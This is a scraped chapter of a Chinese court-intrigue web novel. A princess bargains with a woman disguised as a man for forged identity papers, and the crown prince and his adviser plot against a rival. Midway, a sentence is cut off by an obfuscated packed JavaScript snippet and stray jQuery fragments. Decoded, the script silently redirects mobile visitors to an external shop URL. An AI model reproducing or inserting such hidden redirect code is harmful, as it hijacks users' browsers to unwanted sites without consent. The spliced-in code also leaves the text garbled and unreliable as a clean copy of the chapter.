文趣网 > 其他小说 > 公主篡位日志 > 77. 第七十七章
    趁着天色尚早,款冬悄悄带着一位身穿长袍头戴帷帽的娘子从侧门进了公主府。

    府中下人将人带到了膳厅,“公主尚未起身,还请……郎君稍作等待。”

    很快就有人上前为他倒了一盏茶,看起来是好茶。可惜他从无空腹饮茶的习惯,只能在一旁晾着。

    晨间周遭清冷,一旁草坪上的植株都还挂着露珠。院内宁静,无人闲话。

    坊间无人叫卖,自然也不会有吵闹声传进府中。

    门外正路过一排送水的下人,脚下生风,却不出错。

    款冬脚下没有声音,险些吓到他,不知何时又回来了,“想必郎君还未用过早膳,奴这就让人送来。”

    傅南岩察觉到此人有功夫在身,故意拿起茶盏,假装没拿稳。

    果然不出她所料,款冬只是顺手一接,就将茶盏稳稳捏在手中,连茶水都没洒出几滴。

    对此,款冬并没有多言,只是又将茶盏放回他手中,“这帷帽就摘了吧,公主府里的下人最是嘴严。”

    待他简单用完早膳,款冬就将他带到了齐明娆的院中。

    走到院门口时,傅南岩迟疑了,“在下一个外男,恐不好进入公主私院。”

    他有些心虚,先前并不知道公主邀请他来是有何意,如此安排周全,最恐来者不善。

    公主“声名在外”,近几年虽有所好转,到底无人知真伪。

    款冬对着他笑笑,“郎君既已到了此处,又有何惧呢?”

    院中,齐明娆已经梳妆完毕,正准备焚香。

    心中烦闷,焚香可静心。

    人已带到,款冬给房内的其他人各自安排了差事

    “娘子请坐。”

    火折子照亮她的脸,她正以一种极其探究的目光上下打量着傅南岩,眼中倒映着跳跃的火光。

    闻听此言,傅南岩索性不再伪装,此刻在争辩也毫无意义,“公主与我不过打过个照面,竟能一下识破我的女儿身。”

    炭火燃透,杂味消失,齐明娆拿起香箸,轻笑一声,“你我都是女子,我认出你可比江诸穆这个傻子要简单得多。”

    她转头看向青黛,示意她将准备好的礼物取来。

    青黛将一个匣子放到了傅南岩面前。

    “此乃何物?”傅南岩不解,她与公主先前并不认识,自认为二人之间并无联系。

    “娘子不妨打开看看。”

    眼见她打开匣子,齐明娆理香灰的手微微一顿,“假的籍契瞒得了一时,瞒不了一世。”

    拿起上头的一张,傅南岩这才发现下面还有一张,同音不同字,“为何会有两张?”

    “假籍契如此,你这个假男人亦如此,你若是想脱身,就拿着这张女子籍契,我自会让人护送你离开。可若是你仍想做傅南岩,就拿走这张男子籍契。”

    傅南岩顿住了,却又捏着籍契不舍松手,她清楚公主不会无端为自己做这些。

    “自然,本公主不做亏本买卖。”

    “我如今的身份人微言轻,恐怕帮不了公主什么忙。”

    虽然嘴上说着不答应,可她还是决定,只要不是很过分的要求,她都愿意一试。

    要是被人查出她籍契身份作假,还假冒良民,流放都是轻的。

    眼下,齐明娆给出的饵正式她最需要的,可解她的燃眉之急。

    难不成是齐明娆喜欢上了江诸穆,让自己离开他。

    不怪她这么想,只是她对齐明娆的印象确实是如此了。

    再加之她实在想不出自己能做什么,她以女子之身混入军营本就举步维艰。

    “能从东宫逃出来,傅娘子自然是能人。我这个忙只有你能帮,我要你继续待在江诸穆身边,为我办一件事。”

    趁着时辰还早,齐明娆让款冬即刻将人送了出去。京中耳目众多,此时做事,须得更加谨慎。

    她离开时,齐明娆的香丸还未曾放入,点香步骤还未完成,身上粘了旁的香气,她回去可就不好交代了。

    青黛眉头紧簇,“公主,我们能信她吗?江小将军会答应吗?”

    “眼下,齐明礼不过是太子就能够将这位傅娘子玩弄于股掌,可若他有朝一日登基为皇,那么傅娘子恐怕插翅也难逃,更何况,她还是含着恨的。”

    对于傅南岩而言,此事未必是个麻烦,而是她一雪前耻、报仇雪恨的机会。

    如果主动让江诸穆帮自己做事,他自然不会答应,可如果是为了他们自己的利益,他也断然不会拒绝。

    江诸穆如此年轻就能坐上统领的位置,自然不会是草包。军营里同吃同住,即使一时未察觉傅南岩的身份有异,时间久了,也自然能够发现。

    既然他愿意帮其掩瞒,定然是存了私心想要护她,甚至还帮她骗过了其他人。

    青黛自然也想到了这一层,只是站在情理一边还是法理一边,“倒还算是有情有义,可他这样难道不是假公济私?”

    香气袭人,烟丝缥缈,满室生香。

    倒让人有几分想入非非,忆起往事,齐明娆脸上又多了几分柔软,连语气都变得更加柔和,“假公济私,也得是做了坏事,既无害人之心,何必怪他呢?”

    青黛低下头,是她想岔了。前些日子总和茵陈一道,学了她几分古板进去,倒有些不像自己了。

    “不论是兄弟情还是爱情,有情就好,就能为我们所用。”

    英雄难过美人关,法子是土些老些,管用就是好法子。

    ·

    一支箭矢穿堂而过,射中了后院那棵花开得正好的桂花树。

    霎时间,桂花纷纷落下,形成一圈淡黄色的地毯。

    只是,这一画面并不美。

    后院的侍女们被这一箭吓得险些跌了东西,犯了错,是要被赶出去的。

    可见到射箭之人,她们的脾气顿时没了,在这东宫里,最不能得罪的就是太子殿下与这位爷。

    她们只好装作无事发生,继续手头的活。

    吕期行每日逗一逗她们倒也格外有趣,他倒是盼望着有人拔下那支箭来找他兴师问罪。

    似乎双腿的残疾并没有对他产生丝毫影响,反倒多了几分病态(变态)的美感,像是无力的风,又像是下一秒能把一个人掐死的疯子。

    察觉到周围来人,他有些得意,“听闻元恒安长公主箭术甚佳,能百步穿杨,射中铜铃而不伤,不知我这一箭同她比,孰胜孰负?”

    齐明礼碰上齐明娆的机会本就不多,更别提见到她射箭了,只听闻她围猎之日在众人面前很是得意,“自然是先生胜。早些年未曾听闻她擅此,大约是花架子,真上了战场怕是弓都拿不起来。”

    对此,吕期行倒是有不一样的看法,一是他了解聂祈亨,他能够看上的女子定然不一般,二是他自己也确实在她身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814807|211007||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上吃过亏,不得不防。

    “太子也切莫太过轻敌,殿下可是忘了她在福泉还参与过剿匪呢。”

    无妨,他正喜欢强劲一些的对手,否则一打就死了,多没趣儿啊。

    齐明礼的自负几近于天生,他是皇长子,年幼不记事之时先皇后难产而亡,他的母妃郑贵妃成了皇后,他成了嫡长子,偏偏先皇后拼死生下的二皇子还是个傻子。

    立嫡立长,他都是唯一选。

    “她在那里,定然有无数将士护着,自然不会有危险。说起来,那是那位怕是也在吧。”

    被自己的爱人抛弃,这是吕期行为聂祈亨选的路。

    当年若不是因为聂祈亨从中阻拦,他早就和他的芊芊私奔成功了,也不会落得这双腿残疾。

    如今这情景,他自然是乐见其成的,“公主还真是绝情,殿下不过是动动嘴皮子,她就和他分道扬镳,还拒不相见。”

    敬柔皇后逝去多年,父皇仍对她念念不忘,满眼都是她的好,死了都不清静。

    “杀母之仇,自然是不共戴天。”齐明礼的笑像是由一根线牵扯着,左边的嘴角总比右边的嘴角更上扬一些,眼中满是不屑。

    现在的聂祈亨不过是回到了几年前最初的样子,自然不是吕期行想要的,他要他的结局比自己惨上千倍万倍,他都要自己受过的苦,他也一一受过。

    自己当然不会轻易放过他。

    为此,他主动提议:“此人屡屡坏我们好事,如今,他没有了公主的保护,殿下,我们不如……”

    说着,吕期行做出一个抹脖子的动作。

    风吹动他头上瓷白的发带,犹似索命的白绫。

    “不急,他如今毕竟还在京城,人多眼杂,不好动手。我们不如将其赶出去,父皇说不定还会因此嘉奖我。”

    齐明礼对聂祈亨并无几分忌惮,不过是一条丧家之犬,被人捡回去也改变不了出身。

    可姐姐喜欢的,他都要毁掉。

    ·

    清点各个店铺的库存本该是年末要做的事,可聂祈亨却催着下头的人尽快报上来。

    淮树一行人日日累得脚不沾地,面对这样的异常举动,他十分不解,可每每看见郎君阴郁的神色,却又不敢开口了。

    淮轻不在,淮余比他还忙,就连霜儿都没功夫离他,没人同他说小话,他的嘴如同粘了浆糊一般难受。

    睡前难得歇息的辰光,他只能拉着门口的那条大黄狗唠叨个没完,像是要把一肚子的话都一下子吐出来。

    偶尔天上飞过一两只乌鸦,他都觉得是在附和自己。

    蜡烛燃尽,室内顿时昏暗了,聂祈亨想换一根新的蜡烛点上,才发现书房里的蜡烛已然用完了。

    夜色已深,府里的下人大多休息了,加之他眼睛实在酸痛,就没有叫人再拿新的来。

    风吹动窗外树叶沙沙作响,像是与他作伴,倒不会显得太过孤寂。秋叶,秋夜,是最寂寥的。

    聂祈亨难得出来走走,就听见外面有细细碎碎的声音,循着声音找过去,才发现是淮树在拉着狗说话。

    “你这是在做什么?”

    “郎君,你可总算出来了。”淮树说完这话,又想张嘴,又不知如何开口。

    他深吸一口气,倒还是将堵在心口几日的话问了出来。

    答案却让他有些摸不清头脑。

    “我想见她一面。”